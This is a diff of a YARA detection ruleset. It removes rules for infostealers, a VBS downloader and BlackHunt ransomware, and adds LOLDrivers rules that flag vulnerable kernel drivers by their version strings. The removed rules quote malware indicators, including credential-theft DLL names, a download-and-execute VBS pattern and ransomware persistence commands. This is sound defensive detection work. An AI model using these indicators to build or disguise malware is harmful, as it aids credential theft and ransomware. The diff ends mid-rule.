-rule DITEKSHEN_MALWARE_Win_Nppspy : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Rweverything_Rwdrvsys_Rwdrvdriver_45BA : FILE
 {
 	meta:
-		description = "Detects NPPSpy / Ntospy"
-		author = "ditekShen"
-		id = "3867ba96-1162-5693-b58e-fc6fa04d880a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11323-L11343"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "53e929b52dddd5e3d060d2dd9937411f1ff215be4d3c67f5935c2a3fbab006d6"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - RwDrv.sys"
+		author = "Florian Roth"
+		id = "c9279259-59ab-5816-aa59-4d8d53f95793"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L511-L537"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "45ba688a4bded8a7e78a4f5b0dc21004e951ddceb014bb92f51a3301d2fbc56a"
+		hash = "bdcacb9f373b017d0905845292bca2089feb0900ce80e78df1bcaae8328ce042"
+		hash = "3279593db91bb7ad5b489a01808c645eafafda6cc9c39f50d10ccc30203f2ddf"
+		hash = "83fbf5d46cff38dd1c0f83686708b3bd6a3a73fddd7a2da2b5a3acccd1d9359c"
+		hash = "d969845ef6acc8e5d3421a7ce7e244f419989710871313b04148f9b322751e5d"
+		hash = "1e0eb0811a7cf1bdaf29d3d2cab373ca51eb8d8b58889ab7728e2d3aed244abe"
+		hash = "d15a0bc7a39bbeff10019496c1ed217b7c1b26da37b2bdd46820b35161ddb3c4"
+		hash = "ea0b9eecf4ad5ec8c14aec13de7d661e7615018b1a3c65464bf5eca9bbf6ded3"
+		logic_hash = "773f6985a98adffe12b087c7e8e37c5fe0dba3040440d2300316464e7fa961e4"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "ntskrnl.dll" fullword ascii
-		$s2 = "PasswordStealing.dll" fullword ascii
-		$s3 = "ntoskrnl.dll" fullword ascii
-		$s4 = "\\programdata\\packag~" ascii
-		$s5 = "NPPSPY.dll" fullword ascii
-		$s6 = "MSControll.dll" fullword ascii
-		$s7 = "\\Windows\\Temp\\" ascii
-		$s8 = "\\NPPSpy\\" ascii
-		$s9 = "NPGetCaps" fullword ascii
-		$s10 = "NPLogonNotify" fullword ascii
-		$path = "\\GrzegorzTworek\\" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200770044007200760020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520057002d00450076006500720079007400680069006e0067 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00520077004400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200770044007200760020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00520077004400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310031002000520057002d00450076006500720079007400680069006e0067 }
 
 	condition:
-		uint16(0)==0x5a4d and ((pe.is_dll() and filesize <110KB and pe.number_of_exports==2 and ((pe.exports("NPGetCaps") and pe.exports("NPLogonNotify")) or (1 of ($s*) and (pe.exports("NPGetCaps") or pe.exports("NPLogonNotify"))))) or (($path) and any of ($s*)))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Agentracoon : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Vmdrvsys_Windowsrwinddkdriver_5C0B : FILE
 {
 	meta:
-		description = "Detects AgentRacoon. Not Raccoon"
-		author = "ditekShen"
-		id = "cc31bd71-da96-5a3d-b2f1-40f9745d8d46"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11345-L11361"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7ed17a1bc161855f2bdc432952086f3b86b58ae9ea6c0d541544f4b63a8e08e8"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - vmdrv.sys"
+		author = "Florian Roth"
+		id = "20989ad0-08b4-5fe0-b4cc-9846bdf4bb89"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L540-L561"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "5c0b429e5935814457934fa9c10ac7a88e19068fa1bd152879e4e9b89c103921"
+		hash = "32cccc4f249499061c0afa18f534c825d01034a1f6815f5506bf4c4ff55d1351"
+		hash = "d884ca8cc4ef1826ca3ab03eb3c2d8f356ba25f2d20db0a7d9fc251c565be7f3"
+		logic_hash = "11d62a2a3de4eafb1a523876ce2bc34f96f43e2a228ad9cb5da6c5cb452c3838"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "UdpClient" fullword ascii
-		$s2 = "IPEndPoint" fullword ascii
-		$s3 = "get_Client" fullword ascii
-		$s4 = "set_ReceiveTimeout" fullword ascii
-		$s5 = "Command failed:" wide
-		$s6 = "uploaded" wide
-		$s7 = "downloaded" wide
-		$s8 = ".telemetry." wide
-		$s9 = "xn--" wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0056006f006900630065006d006f00640020005600690072007400750061006c00200041007500640069006f00200044006500760069006300650020002800570044004d0029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0076006d006400720076002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0076006d006400720076002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200056006f006900630065006d006f006400200053002e004c002e0032003000310030002d0032003000320030 }
 
 	condition:
-		uint16(0)==0x5a4d and 7 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Simda : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_A130 : FILE
 {
 	meta:
-		description = "Detects Simda / Shifu infostealer"
-		author = "ditekShen"
-		id = "892a5ffe-ea1a-5df3-9c36-0198fa61b8b6"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11363-L11379"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3f06e86033e8f9534f9904a2a63c4717a9532eb235f6f4405ef1db7d9b93f036"
-		score = 75
-		quality = 25
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		id = "c810bb03-5e0d-501a-af32-66a5f73b410e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L564-L584"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "a13054f349b7baa8c8a3fcbd31789807a493cc52224bbff5e412eb2bd52a6433"
+		hash = "7e81beae78e1ddbf6c150e15667e1f18783f9b0ab7fbe52c7ab63e754135948d"
+		logic_hash = "46c2abfe24d092b974e0916f7ccf53b71c12f3d438dff3e0ef9ffd1c253b0144"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "command=auth_loginByPassword&back_command=&back_custom1=&" fullword ascii
-		$s2 = "iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clma" ascii
-		$s3 = "debug_%s_%s.log" fullword ascii
-		$s4 = "Content-Disposition: form-data; name=\"file\"; filename=\"report\"" ascii
-		$s5 = "name=%s&port=%u" ascii
-		$s6 = "id=%s&ver=4.0.1&up=%u&os=%03u&rights=%s&ltime=%s%d&token=%d" ascii
-		$s7 = "{BotVer:" fullword ascii
-		$s8 = "software\\microsoft\\windows nt\\currentversion\\winlogon" ascii
-		$s9 = /(!|&|data_)inject(=ok)?/ fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003800200041004d0044002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Vbsdownloader : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Realixtm_Hwinfoisys_Hwinfoiakerneldriver_33C6 : FILE
 {
 	meta:
-		description = "Detects second stage VBS downloader of third stage VBS"
-		author = "ditekShen"
-		id = "480e6872-3a8c-58c5-a455-02342ec7918c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11381-L11393"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fee9a78e60d02ff2f03035812af2bf36fe350c70d3e4e094713791833f8ba4d6"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HWiNFO64I.SYS"
+		author = "Florian Roth"
+		id = "04f7cd8f-1716-5b97-861c-0c8601774332"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L587-L606"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "33c6c622464f80a8d8017a03ff3aa196840da8bb03bfb5212b51612b5cf953dc"
+		logic_hash = "b9ec2a1a569f6972c9713a8e1512b0de974b4536bc92bd5466ee808d7574fada"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "CreateObject(\"MSXML2.ServerXMLHTTP\")" wide
-		$s2 = ".Open \"GET\"," wide
-		$s3 = ".Send" wide
-		$s4 = ".responseText" wide
-		$s5 = "ExecuteGlobal" wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570069004e0046004f002000490041003600340020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200450041004c0069005800280074006d0029 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0038002e00370032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0038002e00370032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800570069004e0046004f003600340049002e005300590053 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800570069004e0046004f002000490041003600340020004b00650072006e0065006c0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800570069004e0046004f003600340049002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290031003900390039002d00320030003100320020004d0061007200740069006e0020004d0061006c00ed006b0020002d0020005200450041004c00690058 }
 
 	condition:
-		filesize <50KB and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Umbralstealer : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Advancedmicrodevicesinc_Pdfwkrnlsys_Usbcpowerdeliveryfirmwareupdateutilitydriver_6945 : FILE
 {
 	meta:
-		description = "Detects Umbral infostealer"
-		author = "ditekShen"
-		id = "695a350b-3d8e-5244-a275-a60202a8e956"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11395-L11416"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1686e4626e4d6335f028d6cb6471c32dac747a77fc95d97b4c9dfd043ba975e9"
-		score = 75
-		quality = 25
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PDFWKRNL.sys"
+		author = "Florian Roth"
+		id = "84e31b9f-a36a-51c8-8f71-59748c8e9765"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L609-L628"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "6945077a6846af3e4e2f6a2f533702f57e993c5b156b6965a552d6a5d63b7402"
+		logic_hash = "06b458c2f8c6eb5dadf2a05c69225fdc4cbd6bd48e4380fa224573139de6a466"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$x1 = "Umbral Stealer" wide
-		$x2 = "Umbral.payload." ascii
-		$s1 = "U2V0LU1wUHJlZmVyZW5jZ" wide
-		$s2 = "{{ Key = {0}, Value = {1} }}" wide
-		$s3 = "csproduct get uuid" wide
-		$s4 = "0.0.0.0 www."
-		$s5 = /(set|get)_Take(Screen|WebcamSnap)shot/ fullword ascii
-		$s6 = "still_pin" fullword ascii
-		$c1 = "kaspersky.com" wide
-		$c2 = "bitdefender.com" wide
-		$c3 = "virustotal.com" wide
-		$c4 = "malwarebytes.com" wide
-		$c5 = "clamav.net" wide
-		$c6 = "trendmicro.com" wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005500530042002d004300200050006f007700650072002000440065006c006900760065007200790020004600690072006d007700610072006500200055007000640061007400650020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0050004400460057004b0052004e004c002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005500530042002d004300200050006f007700650072002000440065006c006900760065007200790020004600690072006d007700610072006500200055007000640061007400650020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0050004400460057004b0052004e004c002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020003200300032003100200041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) or 5 of ($s*) or (3 of ($s*) and 4 of ($c*)))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Metastealer : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Fintekcorp_Fintekcorpfintekpcieuart_32BD : FILE
 {
 	meta:
-		description = "Detects MetaStealer infostealer"
-		author = "ditekSHen"
-		id = "46aa30c1-12c2-56df-8c65-0b96147f9051"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11418-L11441"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "260c6d90a89ddb6219a5cbad18058e41611ae2dc68a8d4e589fa6ca81853752f"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - FPCIE2COM.sys"
+		author = "Florian Roth"
+		id = "61ea6f89-2dc0-525c-919a-8b47b85f0240"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L631-L651"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "32bd0edb9daa60175b1dc054f30e28e8dbfa293a32e6c86bfd06bc046eaa2f9e"
+		hash = "17942865680bd3d6e6633c90cc4bd692ae0951a8589dbe103c1e293b3067344d"
+		hash = "b1920889466cd5054e3ab6433a618e76c6671c3e806af8b3084c77c0e7648cbe"
+		logic_hash = "5ff39e43789f0d6b39dd02caeeff027d3c117628113113897e6abc70c30e277a"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "! #\"'&(&*)>=@?POQOROSOTOUOVOWOXOYOZO[O^]{z|z}z~z" fullword wide
-		$s2 = "{0}{1}{2}" fullword wide
-		$s3 = "localhost" fullword wide
-		$s4 = "\\tdata" fullword wide
-		$s5 = "DecryptBlob" fullword ascii
-		$s6 = "GetMac" fullword ascii
-		$s7 = "GetHdc" fullword ascii
-		$s8 = "FindProc" fullword ascii
-		$s9 = "targetPid" fullword ascii
-		$s10 = "MessageSecurityOverTcp" fullword ascii
-		$s11 = "ListOfProcesses" fullword ascii
-		$s12 = "ListOfPrograms" fullword ascii
-		$s13 = "browserPaths" fullword ascii
-		$s14 = "configs" fullword ascii
-		$s15 = "scanners" fullword ascii
-		$s16 = "FileScannerRule" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00460069006e00740065006b002000500063006900650032005500610072007400200041006400610070007400650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00460069006e00740065006b00200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c00200030002c00200030002c00200030 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00460069006e00740065006b00200043006f00720070002e002000460069006e00740065006b0020005000630069006500320055006100720074 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0046005000430049004500320043004f004d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200040002000460069006e00740065006b00200043006f00720070002e00200032003000300032002d0032003000310033 }
 
 	condition:
-		uint16(0)==0x5a4d and 7 of ($s*)
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Mediapi : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avastsoftware_Ngiodriversys_Avastng_42B3 : FILE
 {
 	meta:
-		description = "Detects MediaPI"
-		author = "ditekSHen"
-		id = "95db8772-1bcd-5eea-956c-c9578b8e1329"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11443-L11457"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2bce0a96b45e46c0cbd913dacb3dfe7ae1b519102d637e0fd9dabe2008037d94"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ngiodriver.sys"
+		author = "Florian Roth"
+		id = "613560d6-26ea-5a38-8d88-95988af8371f"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L654-L674"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "42b31b850894bf917372ff50fbe1aff3990331e8bd03840d75e29dcc1026c180"
+		hash = "c0c52425dd90f36d110952c665e5b644bb1092f952942c07bb4da998c9ce6e5b"
+		logic_hash = "d9437369dd7a913176a1351f991216f3190b608f3a3182e891bdb7778835b815"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "SomeFunction" ascii
-		$s2 = "\"stealth" ascii
-		$s3 = "\"ServAddr" ascii
-		$s4 = "\"ServPort" ascii
-		$s5 = "\"ServIp" ascii
-		$s6 = "\"wsaData" ascii
-		$s7 = "\"-socket" ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0061007600610073007400210020004e0047002000730065007400750070002000680065006c0070006500720020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e0030002e003300320030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e0030002e003300320030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e00670069006f006400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100760061007300740020004e0047 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00670069006f006400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003400200041005600410053005400200053006f006600740077006100720065 }
 
 	condition:
-		uint16(0)==0x5a4d and pe.is_dll() and ((6 of them ) or (3 of them and pe.exports("SomeFunction")))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Blackhunt : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_5BD4 : FILE
 {
 	meta:
-		description = "Detects BlackHunt ransomware"
-		author = "ditekSHen"
-		id = "4bdb26dd-a424-54a6-b313-e98bdf18cfce"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11459-L11474"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "62e9bc505eff3e19ff0cdaf180e45e6d7917f0bec7cd9b007bee9fe1d9d09b66"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "0cf3d047-c497-5957-b0d3-717220393501"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L677-L696"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "5bd41a29cbba0d24e639f49d1f201b9bd119b11f5e3b8a5fefa3a5c6f1e7692c"
+		logic_hash = "69948e6d3cc375d78ba95a51c7a78e5a3f17e0ca07cf1e3e53d54f350d9ac0a9"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = /#BlackHunt_(Logs|BG|Icon|Public|Private|ID|ReadMe|Update)\.(txt|jpg|ico|key|hta)/ ascii wide
-		$s2 = /-(biggame|noencrypt|netinfo|nospread)/ fullword wide
-		$s3 = "/v \"*BlackHunt\" /t REG_SZ /d" wide
-		$s4 = "/sc onstart /TN \"Windows Critical Update\" /TR \"'%s' %s\" /F" wide
-		$s5 = "/v \"DisableChangePassword\" /t REG_DWORD /d" wide
-		$s6 = "<span> %s </span>this ID (<span> %s </span>)" wide
-		$s7 = "}div.header h1 span#hunter" wide
-		$s8 = "BLACK_HUNT_MUTEX" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Scouteliteps
+rule LOLDRIVERS_PUA_VULN_Driver_Innotekgmbh_Vboxusbsys_Virtualboxusbdriver_C509 : FILE
 {
 	meta:
-		description = "Detects actor PowerShell tool designed to steal browsers session cookie and passwords on-disk and in-memory"
-		author = "ditekshen"
-		id = "d2c04d55-9bf7-54f5-8053-835fa60f19cb"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/back-in-2017"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11552-L11587"
